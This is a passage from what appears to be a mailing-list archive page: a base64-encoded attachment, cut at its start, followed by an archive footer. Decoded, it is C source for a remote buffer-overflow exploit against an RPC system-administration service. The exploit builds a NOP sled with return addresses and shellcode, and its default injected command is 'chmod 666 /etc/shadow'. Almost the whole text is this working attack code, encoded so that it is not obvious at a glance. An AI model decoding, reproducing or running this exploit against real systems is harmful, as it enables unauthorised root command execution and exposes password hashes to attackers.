ICAgICAgICAgICAgICAgICAgKi8NCg0KZXh0ZXJuIGNoYXIgKm9wdGFyZzsN Cg0Kc3RydWN0IG5tX3NlbmRfaGVhZGVyIHsNCiAgICBzdHJ1Y3QgdGltZXZh bCB0aW1ldmFsMTsNCiAgICBzdHJ1Y3QgdGltZXZhbCB0aW1ldmFsMjsNCiAg ICBzdHJ1Y3QgdGltZXZhbCB0aW1ldmFsMzsNCiAgICB1bnNpZ25lZCBpbnQg dWludDE7DQogICAgdW5zaWduZWQgaW50IHVpbnQyOw0KICAgIHVuc2lnbmVk IGludCB1aW50MzsNCiAgICB1bnNpZ25lZCBpbnQgdWludDQ7DQogICAgdW5z aWduZWQgaW50IHVpbnQ1Ow0KICAgIHN0cnVjdCBpbl9hZGRyIGluYWRkcjE7 DQogICAgc3RydWN0IGluX2FkZHIgaW5hZGRyMjsNCiAgICB1bnNpZ25lZCBs b25nIHVsb25nMTsNCiAgICB1bnNpZ25lZCBsb25nIHVsb25nMjsNCiAgICBz dHJ1Y3QgaW5fYWRkciBpbmFkZHIzOw0KICAgIHVuc2lnbmVkIGxvbmcgdWxv bmczOw0KICAgIHVuc2lnbmVkIGxvbmcgdWxvbmc0Ow0KICAgIHVuc2lnbmVk IGxvbmcgdWxvbmc1Ow0KICAgIHN0cnVjdCB0aW1ldmFsIHRpbWV2YWw0Ow0K ICAgIHVuc2lnbmVkIGludCB1aW50NjsNCiAgICBzdHJ1Y3QgdGltZXZhbCB0 aW1ldmFsNTsNCiAgICBjaGFyICpzdHJpbmcxOw0KICAgIGNoYXIgKnN0cmlu ZzI7DQogICAgY2hhciAqc3RyaW5nMzsNCiAgICB1bnNpZ25lZCBpbnQgdWlu dDc7DQp9Ow0KDQpzdHJ1Y3Qgbm1fc2VuZF9hcmdfaW50IHsNCiAgICBjaGFy ICpzdHJpbmcxOw0KICAgIHVuc2lnbmVkIGludCB1aW50MTsNCiAgICB1bnNp Z25lZCBpbnQgdWludDI7DQogICAgaW50IGludDE7DQogICAgdW5zaWduZWQg aW50IHVpbnQzOw0KICAgIHVuc2lnbmVkIGludCB1aW50NDsNCn07DQoNCnN0 cnVjdCBubV9zZW5kX2FyZ19zdHJpbmcgew0KICAgIGNoYXIgKnN0cmluZzE7 DQogICAgdW5zaWduZWQgaW50IHVpbnQxOw0KICAgIHVuc2lnbmVkIGludCB1 aW50MjsNCiAgICBjaGFyICpzdHJpbmcyOw0KICAgIHVuc2lnbmVkIGludCB1 aW50MzsNCiAgICB1bnNpZ25lZCBpbnQgdWludDQ7DQp9Ow0KDQpzdHJ1Y3Qg bm1fc2VuZF9mb290ZXIgew0KICAgIGNoYXIgKnN0cmluZzE7DQp9Ow0KDQpz dHJ1Y3Qgbm1fc2VuZCB7DQogICAgc3RydWN0IG5tX3NlbmRfaGVhZGVyIGhl YWRlcjsNCiAgICBzdHJ1Y3Qgbm1fc2VuZF9hcmdfaW50IHZlcnNpb247DQog ICAgc3RydWN0IG5tX3NlbmRfYXJnX3N0cmluZyBzdHJpbmc7DQogICAgc3Ry dWN0IG5tX3NlbmRfYXJnX2ludCBmZW5jZTsNCiAgICBzdHJ1Y3Qgbm1fc2Vu ZF9mb290ZXIgZm9vdGVyOw0KfTsNCg0Kc3RydWN0IG5tX3JlcGx5IHsNCiAg ICB1bnNpZ25lZCBpbnQgdWludDE7DQogICAgdW5zaWduZWQgaW50IHVpbnQy Ow0KICAgIGNoYXIgKnN0cmluZzE7DQp9Ow0KDQpib29sX3QNCnhkcl9ubV9z ZW5kX2hlYWRlcihYRFIgKnhkcnMsIHN0cnVjdCBubV9zZW5kX2hlYWRlciAq b2JqcCkNCnsNCiAgICBjaGFyICphZGRyOw0KICAgIHNpemVfdCBzaXplID0g c2l6ZW9mKHN0cnVjdCBpbl9hZGRyKTsNCg0KICAgIGlmICgheGRyX2xvbmco eGRycywgJm9ianAtPnRpbWV2YWwxLnR2X3NlYykpDQoJcmV0dXJuIChGQUxT RSk7DQogICAgaWYgKCF4ZHJfbG9uZyh4ZHJzLCAmb2JqcC0+dGltZXZhbDEu dHZfdXNlYykpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJfbG9u Zyh4ZHJzLCAmb2JqcC0+dGltZXZhbDIudHZfc2VjKSkNCglyZXR1cm4gKEZB TFNFKTsNCiAgICBpZiAoIXhkcl9sb25nKHhkcnMsICZvYmpwLT50aW1ldmFs Mi50dl91c2VjKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl9s b25nKHhkcnMsICZvYmpwLT50aW1ldmFsMy50dl9zZWMpKQ0KCXJldHVybiAo RkFMU0UpOw0KICAgIGlmICgheGRyX2xvbmcoeGRycywgJm9ianAtPnRpbWV2 YWwzLnR2X3VzZWMpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRy X3VfaW50KHhkcnMsICZvYmpwLT51aW50MSkpDQoJcmV0dXJuIChGQUxTRSk7 DQogICAgaWYgKCF4ZHJfdV9pbnQoeGRycywgJm9ianAtPnVpbnQyKSkNCgly ZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2ludCh4ZHJzLCAmb2Jq cC0+dWludDMpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX3Vf aW50KHhkcnMsICZvYmpwLT51aW50NCkpDQoJcmV0dXJuIChGQUxTRSk7DQog ICAgaWYgKCF4ZHJfdV9pbnQoeGRycywgJm9ianAtPnVpbnQ1KSkNCglyZXR1 cm4gKEZBTFNFKTsNCiAgICBhZGRyID0gKGNoYXIgKikgJm9ianAtPmluYWRk cjEuc19hZGRyOw0KICAgIGlmICgheGRyX2J5dGVzKHhkcnMsICZhZGRyLCAm c2l6ZSwgc2l6ZSkpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgYWRkciA9IChj aGFyICopICZvYmpwLT5pbmFkZHIyLnNfYWRkcjsNCiAgICBpZiAoIXhkcl9i eXRlcyh4ZHJzLCAmYWRkciwgJnNpemUsIHNpemUpKQ0KCXJldHVybiAoRkFM U0UpOw0KICAgIGlmICgheGRyX3VfbG9uZyh4ZHJzLCAmb2JqcC0+dWxvbmcx KSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2xvbmcoeGRy cywgJm9ianAtPnVsb25nMikpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgYWRk ciA9IChjaGFyICopICZvYmpwLT5pbmFkZHIzLnNfYWRkcjsNCiAgICBpZiAo IXhkcl9ieXRlcyh4ZHJzLCAmYWRkciwgJnNpemUsIHNpemUpKQ0KCXJldHVy biAoRkFMU0UpOw0KICAgIGlmICgheGRyX3VfbG9uZyh4ZHJzLCAmb2JqcC0+ dWxvbmczKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2xv bmcoeGRycywgJm9ianAtPnVsb25nNCkpDQoJcmV0dXJuIChGQUxTRSk7DQog ICAgaWYgKCF4ZHJfdV9sb25nKHhkcnMsICZvYmpwLT51bG9uZzUpKQ0KCXJl dHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX2xvbmcoeGRycywgJm9ianAt PnRpbWV2YWw0LnR2X3NlYykpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYg KCF4ZHJfbG9uZyh4ZHJzLCAmb2JqcC0+dGltZXZhbDQudHZfdXNlYykpDQoJ cmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJfdV9pbnQoeGRycywgJm9i anAtPnVpbnQ2KSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl9s b25nKHhkcnMsICZvYmpwLT50aW1ldmFsNS50dl9zZWMpKQ0KCXJldHVybiAo RkFMU0UpOw0KICAgIGlmICgheGRyX2xvbmcoeGRycywgJm9ianAtPnRpbWV2 YWw1LnR2X3VzZWMpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRy X3dyYXBzdHJpbmcoeGRycywgJm9ianAtPnN0cmluZzEpKQ0KCXJldHVybiAo RkFMU0UpOw0KICAgIGlmICgheGRyX3dyYXBzdHJpbmcoeGRycywgJm9ianAt PnN0cmluZzIpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX3dy YXBzdHJpbmcoeGRycywgJm9ianAtPnN0cmluZzMpKQ0KCXJldHVybiAoRkFM U0UpOw0KICAgIGlmICgheGRyX3VfaW50KHhkcnMsICZvYmpwLT51aW50Nykp DQoJcmV0dXJuIChGQUxTRSk7DQogICAgcmV0dXJuIChUUlVFKTsNCn0NCg0K Ym9vbF90DQp4ZHJfbm1fc2VuZF9hcmdfaW50KFhEUiAqeGRycywgc3RydWN0 IG5tX3NlbmRfYXJnX2ludCAqb2JqcCkNCnsNCiAgICBpZiAoIXhkcl93cmFw c3RyaW5nKHhkcnMsICZvYmpwLT5zdHJpbmcxKSkNCglyZXR1cm4gKEZBTFNF KTsNCiAgICBpZiAoIXhkcl91X2ludCh4ZHJzLCAmb2JqcC0+dWludDEpKQ0K CXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX3VfaW50KHhkcnMsICZv YmpwLT51aW50MikpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJf aW50KHhkcnMsICZvYmpwLT5pbnQxKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAg ICBpZiAoIXhkcl91X2ludCh4ZHJzLCAmb2JqcC0+dWludDMpKQ0KCXJldHVy biAoRkFMU0UpOw0KICAgIGlmICgheGRyX3VfaW50KHhkcnMsICZvYmpwLT51 aW50NCkpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgcmV0dXJuIChUUlVFKTsN Cn0NCg0KYm9vbF90DQp4ZHJfbm1fc2VuZF9hcmdfc3RyaW5nKFhEUiAqeGRy cywgc3RydWN0IG5tX3NlbmRfYXJnX3N0cmluZyAqb2JqcCkNCnsNCiAgICBp ZiAoIXhkcl93cmFwc3RyaW5nKHhkcnMsICZvYmpwLT5zdHJpbmcxKSkNCgly ZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2ludCh4ZHJzLCAmb2Jq cC0+dWludDEpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX3Vf aW50KHhkcnMsICZvYmpwLT51aW50MikpDQoJcmV0dXJuIChGQUxTRSk7DQog ICAgaWYgKCF4ZHJfd3JhcHN0cmluZyh4ZHJzLCAmb2JqcC0+c3RyaW5nMikp DQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJfdV9pbnQoeGRycywg Jm9ianAtPnVpbnQzKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhk cl91X2ludCh4ZHJzLCAmb2JqcC0+dWludDQpKQ0KCXJldHVybiAoRkFMU0Up Ow0KICAgIHJldHVybiAoVFJVRSk7DQp9DQoNCmJvb2xfdA0KeGRyX25tX3Nl bmRfZm9vdGVyKFhEUiAqeGRycywgc3RydWN0IG5tX3NlbmRfZm9vdGVyICpv YmpwKQ0Kew0KICAgIGlmICgheGRyX3dyYXBzdHJpbmcoeGRycywgJm9ianAt PnN0cmluZzEpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIHJldHVybiAoVFJV RSk7DQp9DQoNCmJvb2xfdA0KeGRyX25tX3NlbmQoWERSICp4ZHJzLCBzdHJ1 Y3Qgbm1fc2VuZCAqb2JqcCkNCnsNCiAgICBpZiAoIXhkcl9ubV9zZW5kX2hl YWRlcih4ZHJzLCAmb2JqcC0+aGVhZGVyKSkNCglyZXR1cm4gKEZBTFNFKTsN CiAgICBpZiAoIXhkcl9ubV9zZW5kX2FyZ19pbnQoeGRycywgJm9ianAtPnZl cnNpb24pKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX25tX3Nl bmRfYXJnX3N0cmluZyh4ZHJzLCAmb2JqcC0+c3RyaW5nKSkNCglyZXR1cm4g KEZBTFNFKTsNCiAgICBpZiAoIXhkcl9ubV9zZW5kX2FyZ19pbnQoeGRycywg Jm9ianAtPmZlbmNlKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhk cl9ubV9zZW5kX2Zvb3Rlcih4ZHJzLCAmb2JqcC0+Zm9vdGVyKSkNCglyZXR1 cm4gKEZBTFNFKTsNCiAgICByZXR1cm4gKFRSVUUpOw0KfQ0KDQpib29sX3QN Cnhkcl9ubV9yZXBseShYRFIgKnhkcnMsIHN0cnVjdCBubV9yZXBseSAqb2Jq cCkNCnsNCiAgICBpZiAoIXhkcl91X2ludCh4ZHJzLCAmb2JqcC0+dWludDEp KQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX3VfaW50KHhkcnMs ICZvYmpwLT51aW50MikpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4 ZHJfd3JhcHN0cmluZyh4ZHJzLCAmb2JqcC0+c3RyaW5nMSkpDQoJcmV0dXJu IChGQUxTRSk7DQogICAgcmV0dXJuIChUUlVFKTsNCn0NCg0KaW50DQptYWlu KGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogICAgQ0xJRU5UICpjbDsN CiAgICBzdHJ1Y3Qgbm1fc2VuZCBzZW5kOw0KICAgIHN0cnVjdCBubV9yZXBs eSByZXBseTsNCiAgICBzdHJ1Y3QgdGltZXZhbCB0bTsNCiAgICBlbnVtIGNs bnRfc3RhdCBzdGF0Ow0KICAgIGludCBjLCBpLCBsZW4sIHNsZW4sIGNsZW47 DQogICAgY2hhciAqcHJvZ3JhbSwgKmNwLCBidWZbQlVGTEVOKzFdOw0KICAg IGNoYXIgKmhvc3RuYW1lLCAqY29tbWFuZDsNCiAgICBpbnQganVuayA9IDAs IG9mZnNldCwgYWxpZ25tZW50LCBwaW5naW5nID0gMDsNCiAgICB1bnNpZ25l ZCBsb25nIGludCBzcCA9IDAsIGFkZHI7DQoNCiAgICBwcm9ncmFtID0gYXJn dlswXTsNCiAgICBob3N0bmFtZSA9ICJsb2NhbGhvc3QiOw0KICAgIGNvbW1h bmQgPSAiY2htb2QgNjY2IC9ldGMvc2hhZG93IjsNCiAgICBvZmZzZXQgPSBP RkZTRVQ7IGFsaWdubWVudCA9IEFMSUdOTUVOVDsNCiAgICB3aGlsZSAoKGMg PSBnZXRvcHQoYXJnYywgYXJndiwgImg6YzpzOmo6bzphOnAiKSkgIT0gRU9G KSB7DQoJc3dpdGNoIChjKSB7DQoJY2FzZSAnaCc6DQoJICAgIGhvc3RuYW1l ID0gb3B0YXJnOw0KCSAgICBicmVhazsNCgljYXNlICdjJzoNCgkgICAgY29t bWFuZCA9IG9wdGFyZzsgDQoJICAgIGJyZWFrOw0KCWNhc2UgJ3MnOg0KCSAg ICBzcCA9IHN0cnRvdWwob3B0YXJnLCBOVUxMLCAwKTsNCgkgICAgYnJlYWs7 DQoJY2FzZSAnaic6DQoJICAgIGp1bmsgPSAoaW50KSBzdHJ0b2wob3B0YXJn LCBOVUxMLCAwKTsNCgkgICAgYnJlYWs7DQoJY2FzZSAnbyc6DQoJICAgIG9m ZnNldCA9IChpbnQpIHN0cnRvbChvcHRhcmcsIE5VTEwsIDApOw0KCSAgICBi cmVhazsNCgljYXNlICdhJzoNCgkgICAgYWxpZ25tZW50ID0gKGludCkgc3Ry dG9sKG9wdGFyZywgTlVMTCwgMCk7DQoJICAgIGJyZWFrOw0KCWNhc2UgJ3An Og0KCSAgICBwaW5naW5nID0gMTsNCgkgICAgYnJlYWs7DQoJZGVmYXVsdDoN CgkgICAgZnByaW50ZihzdGRlcnIsICJ1c2FnZTogJXMgLWggaG9zdG5hbWUg LWMgY29tbWFuZCAtcyBzcCAtaiBqdW5rICINCgkJICAgICJbLW8gb2Zmc2V0 XSBbLWEgYWxpZ25tZW50XSBbLXBdXG4iLCBwcm9ncmFtKTsNCgkgICAgZXhp dCgxKTsNCgkgICAgYnJlYWs7DQoJfQ0KICAgIH0NCiAgICBtZW1zZXQoYnVm LCBOT1AsIEJVRkxFTik7DQogICAganVuayAmPSAweGZmZmZmZmZjOw0KICAg IGZvciAoaSA9IDAsIGNwID0gYnVmICsgYWxpZ25tZW50OyBpIDwganVuayAv IDQ7IGkrKykgew0KCSpjcCsrID0gKHNwID4+ICAwKSAmIDB4ZmY7DQoJKmNw KysgPSAoc3AgPj4gIDgpICYgMHhmZjsNCgkqY3ArKyA9IChzcCA+PiAxNikg JiAweGZmOw0KCSpjcCsrID0gKHNwID4+IDI0KSAmIDB4ZmY7DQogICAgfQ0K ICAgIGFkZHIgPSBzcCArIG9mZnNldDsNCiAgICBmb3IgKGkgPSAwOyBpIDwg QUREUkxFTiAvIDQ7IGkrKykgew0KCSpjcCsrID0gKGFkZHIgPj4gIDApICYg MHhmZjsNCgkqY3ArKyA9IChhZGRyID4+ICA4KSAmIDB4ZmY7DQoJKmNwKysg PSAoYWRkciA+PiAxNikgJiAweGZmOw0KCSpjcCsrID0gKGFkZHIgPj4gMjQp ICYgMHhmZjsNCiAgICB9DQogICAgc2xlbiA9IHN0cmxlbihzaGVsbCk7IGNs ZW4gPSBzdHJsZW4oY29tbWFuZCk7DQogICAgbGVuID0gY2xlbjsgbGVuKys7 IGxlbiA9IC1sZW47DQogICAgc2hlbGxbTEVOKzBdID0gKGxlbiA+PiAgMCkg JiAweGZmOw0KICAgIHNoZWxsW0xFTisxXSA9IChsZW4gPj4gIDgpICYgMHhm ZjsNCiAgICBzaGVsbFtMRU4rMl0gPSAobGVuID4+IDE2KSAmIDB4ZmY7DQog ICAgc2hlbGxbTEVOKzNdID0gKGxlbiA+PiAyNCkgJiAweGZmOw0KICAgIGNw ID0gYnVmICsgQlVGTEVOIC0gMSAtIGNsZW4gLSBzbGVuOw0KICAgIG1lbWNw eShjcCwgc2hlbGwsIHNsZW4pOyBjcCArPSBzbGVuOw0KICAgIG1lbWNweShj cCwgY29tbWFuZCwgY2xlbik7IGNwICs9IGNsZW47DQogICAgKmNwID0gJ1x4 ZmYnOw0KICAgIGJ1ZltCVUZMRU5dID0gJ1wwJzsNCiAgICBtZW1zZXQoJnNl bmQsIDAsIHNpemVvZihzdHJ1Y3Qgbm1fc2VuZCkpOw0KICAgIHNlbmQuaGVh ZGVyLnVpbnQyID0gTkVUTUdUX0hFQURFUl9UWVBFOw0KICAgIHNlbmQuaGVh ZGVyLnN0cmluZzEgPSAiIjsNCiAgICBzZW5kLmhlYWRlci5zdHJpbmcyID0g IiI7DQogICAgc2VuZC5oZWFkZXIuc3RyaW5nMyA9ICIiOw0KICAgIHNlbmQu aGVhZGVyLnVpbnQ3ID0NCglzdHJsZW4oQURNX0ZXX1ZFUlNJT04pICsgMSAr DQoJKDQgKiBzaXplb2YodW5zaWduZWQgaW50KSkgKyBzaXplb2YoaW50KSAr DQoJc3RybGVuKEFETV9DTElFTlRfRE9NQUlOKSArIDEgKw0KCSg0ICogc2l6 ZW9mKHVuc2lnbmVkIGludCkpICsgc3RybGVuKGJ1ZikgKyAxICsNCglzdHJs ZW4oQURNX0ZFTkNFKSArIDEgKw0KCSg0ICogc2l6ZW9mKHVuc2lnbmVkIGlu dCkpICsgc2l6ZW9mKGludCkgKw0KCXN0cmxlbihORVRNR1RfRU5ET0ZBUkdT KSArIDE7DQogICAgc2VuZC52ZXJzaW9uLnN0cmluZzEgPSBBRE1fRldfVkVS U0lPTjsNCiAgICBzZW5kLnZlcnNpb24udWludDEgPSBORVRNR1RfQVJHX0lO VDsNCiAgICBzZW5kLnZlcnNpb24udWludDIgPSBzaXplb2YoaW50KTsNCiAg ICBzZW5kLnZlcnNpb24uaW50MSA9IDE7DQogICAgc2VuZC5zdHJpbmcuc3Ry aW5nMSA9IEFETV9DTElFTlRfRE9NQUlOOw0KICAgIHNlbmQuc3RyaW5nLnVp bnQxID0gTkVUTUdUX0FSR19TVFJJTkc7DQogICAgc2VuZC5zdHJpbmcudWlu dDIgPSBzdHJsZW4oYnVmKTsNCiAgICBzZW5kLnN0cmluZy5zdHJpbmcyID0g YnVmOw0KICAgIHNlbmQuZmVuY2Uuc3RyaW5nMSA9IEFETV9GRU5DRTsNCiAg ICBzZW5kLmZlbmNlLnVpbnQxID0gTkVUTUdUX0FSR19JTlQ7DQogICAgc2Vu ZC5mZW5jZS51aW50MiA9IHNpemVvZihpbnQpOw0KICAgIHNlbmQuZmVuY2Uu aW50MSA9IDY2NjsNCiAgICBzZW5kLmZvb3Rlci5zdHJpbmcxID0gTkVUTUdU X0VORE9GQVJHUzsNCiAgICBjbCA9IGNsbnRfY3JlYXRlKGhvc3RuYW1lLCBO RVRNR1RfUFJPRywgTkVUTUdUX1ZFUlMsICJ1ZHAiKTsNCiAgICBpZiAoY2wg PT0gTlVMTCkgew0KCWNsbnRfcGNyZWF0ZWVycm9yKCJjbG50X2NyZWF0ZSIp Ow0KCWV4aXQoMSk7DQogICAgfQ0KICAgIGNsLT5jbF9hdXRoID0gYXV0aHVu aXhfY3JlYXRlKCJsb2NhbGhvc3QiLCAwLCAwLCAwLCBOVUxMKTsNCiAgICBp ZiAoIXBpbmdpbmcpIHsNCglmcHJpbnRmKHN0ZG91dCwNCgkJIiUlZXNwIDB4 JTA4bHggb2Zmc2V0ICVkIC0tPiByZXR1cm4gYWRkcmVzcyAweCUwOGx4IFsl ZCslZF1cbiIsDQoJCXNwLCBvZmZzZXQsIGFkZHIsIGFsaWdubWVudCwganVu ayk7DQoJdG0udHZfc2VjID0gTkVUTUdUX1VEUF9TRVJWSUNFX1RJTUVPVVQ7 IHRtLnR2X3VzZWMgPSAwOw0KCWlmICghY2xudF9jb250cm9sKGNsLCBDTFNF VF9USU1FT1VULCAoY2hhciAqKSAmdG0pKSB7DQoJICAgIGZwcmludGYoc3Rk ZXJyLCAiZXhwbG9pdCBmYWlsZWQ7IHVuYWJsZSB0byBzZXQgdGltZW91dFxu Iik7DQoJICAgIGV4aXQoMSk7DQoJfQ0KCXRtLnR2X3NlYyA9IE5FVE1HVF9V RFBfU0VSVklDRV9SRVRSWV9USU1FT1VUOyB0bS50dl91c2VjID0gMDsNCglp ZiAoIWNsbnRfY29udHJvbChjbCwgQ0xTRVRfUkVUUllfVElNRU9VVCwgKGNo YXIgKikgJnRtKSkgew0KCSAgICBmcHJpbnRmKHN0ZGVyciwgImV4cGxvaXQg ZmFpbGVkOyB1bmFibGUgdG8gc2V0IHRpbWVvdXRcbiIpOw0KCSAgICBleGl0 KDEpOw0KCX0NCglzdGF0ID0gY2xudF9jYWxsKGNsLCBORVRNR1RfUFJPQ19T RVJWSUNFLA0KCQkJIHhkcl9ubV9zZW5kLCAoY2FkZHJfdCkgJnNlbmQsDQoJ CQkgeGRyX25tX3JlcGx5LCAoY2FkZHJfdCkgJnJlcGx5LCB0bSk7DQoJaWYg KHN0YXQgIT0gUlBDX1NVQ0NFU1MpIHsNCgkgICAgY2xudF9wZXJyb3IoY2ws ICJjbG50X2NhbGwiKTsNCgkgICAgZnByaW50ZihzdGRvdXQsICJub3cgY2hl Y2sgaWYgZXhwbG9pdCB3b3JrZWQ7ICINCgkJICAgICJSUEMgZmFpbHVyZSB3 YXMgZXhwZWN0ZWRcbiIpOw0KCSAgICBleGl0KDApOw0KCX0NCglmcHJpbnRm KHN0ZGVyciwgImV4cGxvaXQgZmFpbGVkOyAiDQoJCSJSUEMgc3VjY2VlZGVk IGFuZCByZXR1cm5lZCB7ICV1LCAldSwgXCIlc1wiIH1cbiIsDQoJCXJlcGx5 LnVpbnQxLCByZXBseS51aW50MiwgcmVwbHkuc3RyaW5nMSk7DQoJY2xudF9k ZXN0cm95KGNsKTsNCglleGl0KDEpOw0KICAgIH0gZWxzZSB7DQoJdG0udHZf c2VjID0gTkVUTUdUX1VEUF9QSU5HX1RJTUVPVVQ7IHRtLnR2X3VzZWMgPSAw Ow0KCWlmICghY2xudF9jb250cm9sKGNsLCBDTFNFVF9USU1FT1VULCAoY2hh ciAqKSAmdG0pKSB7DQoJICAgIGZwcmludGYoc3RkZXJyLCAiZXhwbG9pdCBm YWlsZWQ7IHVuYWJsZSB0byBzZXQgdGltZW91dFxuIik7DQoJICAgIGV4aXQo MSk7DQoJfQ0KCXRtLnR2X3NlYyA9IE5FVE1HVF9VRFBfUElOR19SRVRSWV9U SU1FT1VUOyB0bS50dl91c2VjID0gMDsNCglpZiAoIWNsbnRfY29udHJvbChj bCwgQ0xTRVRfUkVUUllfVElNRU9VVCwgKGNoYXIgKikgJnRtKSkgew0KCSAg ICBmcHJpbnRmKHN0ZGVyciwgImV4cGxvaXQgZmFpbGVkOyB1bmFibGUgdG8g c2V0IHRpbWVvdXRcbiIpOw0KCSAgICBleGl0KDEpOw0KCX0NCglzdGF0ID0g Y2xudF9jYWxsKGNsLCBORVRNR1RfUFJPQ19QSU5HLA0KCQkJIHhkcl92b2lk LCBOVUxMLA0KCQkJIHhkcl92b2lkLCBOVUxMLCB0bSk7DQoJaWYgKHN0YXQg IT0gUlBDX1NVQ0NFU1MpIHsNCgkgICAgY2xudF9wZXJyb3IoY2wsICJjbG50 X2NhbGwiKTsNCgkgICAgZXhpdCgxKTsNCgl9DQoJY2xudF9kZXN0cm95KGNs KTsNCglleGl0KDApOw0KICAgIH0NCn0NCg== --0-1957747793-944864183=:20191--
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:20:04 PDT